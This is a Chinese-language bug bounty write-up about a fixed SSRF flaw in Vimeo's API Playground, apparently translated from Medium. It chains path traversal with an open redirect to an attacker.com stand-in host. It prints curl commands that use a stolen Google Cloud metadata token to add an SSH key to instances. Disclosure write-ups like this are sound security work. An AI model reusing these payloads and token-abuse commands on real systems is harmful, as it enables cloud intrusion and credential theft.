挖洞經驗 | 看我如何發現Vimeo的SSRF漏洞($5000)
本文分享的是一個關於視訊網站Vimeo的SSRF漏洞(服務端請求偽造),可以利用開放重定向和谷歌雲實例token獲取兩種方法,實現Vimeo服務端程式碼執行,危害嚴重。
漏洞背景
Vimeo在網站 https://developer.vimeo.com 上部署了一個名為API Playground的API介面,對該網站發起的請求是都是針對服務端的,例如以下的錯誤:
仔細觀察上述POST請求,可以發現,其中包含了一個面向服務端的GET請求,該請求可以簡單抽象如下:
https://api.vimeo.com/users/ {user_id}/videos/{video_id}
在這個抽象出來的請求中,可以發現,我們可以控制的引數有很多。首先當然是URI引數,也就是其中的/users/{user_id}/videos/{video_id},這裡的請求方法是GET,如果請求方法是POST的話,其引數對應的也可以設定為post引數。user_id 和 video_id是兩個變數值,其值可在segments中被定義。
服務端目錄遍歷
我嘗試著在URI引數中進行一些常用目錄的遍歷,然而幾經測試都返回了403狀態,也就是說,服務端其實已經理解了該請求,但卻拒絕執行它。但是,我想因為user_id & videos_id也是包含在URL中的,且應該是服務端的內部引數,所以如果對它們做出更改應該是可行的。最終,測試發現,通過利用../../../這種形式的URL,可以形成一個針對api.vimeo.com服務端的ROOT級別請求,如下:
大概意思就是,如果構造的GET請求如下:
URL.parse(“ https://api.vimeo.com/users/1122/videos/../../../attacker ”)
則最終響應請求的就會是 https://api.vimeo.com/attacker 頁面。在上圖中,可以看到,如果其構造的請求是經認證過的,那麼最終在響應訊息中,api.vimeo.com所有可能的響應都會被列出來。
通過api.vimeo.com進行提權
考慮了一會,我覺得這種機制應該是遵循HTTP 30X重定向的,說來話長。所以,知道了這點,我們就可以構造一個開放重定向方式,讓Vimeo服務端跳轉到我們控制的資源上去。
發現突破口
經過研究,我發現在api.vimeo.com上某個服務端,可以跳轉到主站vimeo.com上去:
https://api.vimeo.com/m/something
可以跳轉到:
大概思路也就是:
https://api.vimeo.com/m/something/…./open/redirect?url=https://vimeo.com/m/something
那如果我們把redirect?url=後的vimeo.com換成我們控制的網站,不就可以了嗎?所以,基於這個發現,我們就有了一個很大的範圍去尋找這麼一個能成功跳轉的api.vimeo.com服務端,在該漏洞報告中,最終我發現了一個不太有效的跳轉服務端,此處為了保密考慮,我只給出大概構造思路,如下:
https://vimeo/vulnerable/open/redirect?url=https://attacker.com
最終,會成功執行一個到attacker.com的臨時重定向的302跳轉。
綜合利用形成SSRF
最終構造出的可行Payload如下:
../../../m/vulnerable/open/redirect?url= https://attacker.com
結合前面的目錄遍歷方式,加入video_id,所以最終的跳轉URL為:
https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com
解析後會變為:
https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com
再經重定向會變為:
https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com
最後,除了對vimeo.com服務端的請求外,也會發起一個針對 https://attacker.com 的請求,其中,vimeo.com服務端的響應訊息為json格式,如下:
其它形式的SSRF漏洞發現
由於Vimeo的基礎架構是部署在Google雲上的,所以我第一個想到的就是分析一下Google 元資料API介面。因為早前看過André Baptista (@0xacb)的 利用谷歌元資料介面實現shopify例項SSRF的漏洞報告 ($25,000),非常震撼,所以,在此,我就參考@0xacb的方法來對此漏洞進行利用(詳細請參考 SSRF in Exchange leads to ROOT access in all instances )。大概思路是,首先請求以下連結:
它會返回一個account token:
{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }
這個account token具備的許可權範圍為:
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
Response:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": " https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring ", "expires_in": 2443, "access_type": "offline" }
我可以用這個account token把我公共的SSH金鑰新增到Vimeo例項中,然後再通過我的私鑰去連線它,如下:
$ curl -X POST “ https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata " -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
Response:
{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “ https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX ", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “[email protected]”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “ https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX "}
之後,就會有以下情況,可以成功連線到Vimeo在Google雲上的例項:
SSH一般只在內網開放,這也經足夠說明,可以進一步提權為shell級別了。另外,還提取出了Google雲中的Kubernetes金鑰,但我卻不懂如何用它,好在Vimeo安全團隊認為它是有效的。
整個漏洞發現過程就是這些,也就是存在兩個方面的SSRF風險隱患。感謝André Baptista (@0xacb)厲害的漏洞報告參考,Brett (@bbuerhaus)關於 SSRF的writeup ,還有Vimeo安全團隊的盡力修復。
漏洞修復程序
2019.1.28 漏洞初報 2019.1.28 HackerOne漏洞分類 2019.1.28 Vimeo官方前期獎勵$100,並製作臨時補丁 2019.1.28 Vimeo安全團隊釋出修復補丁 2019.2.1 Vimeo官方$4900美金獎勵
*參考來源: medium ,clouds編譯,轉載請註明來自FreeBuf.COM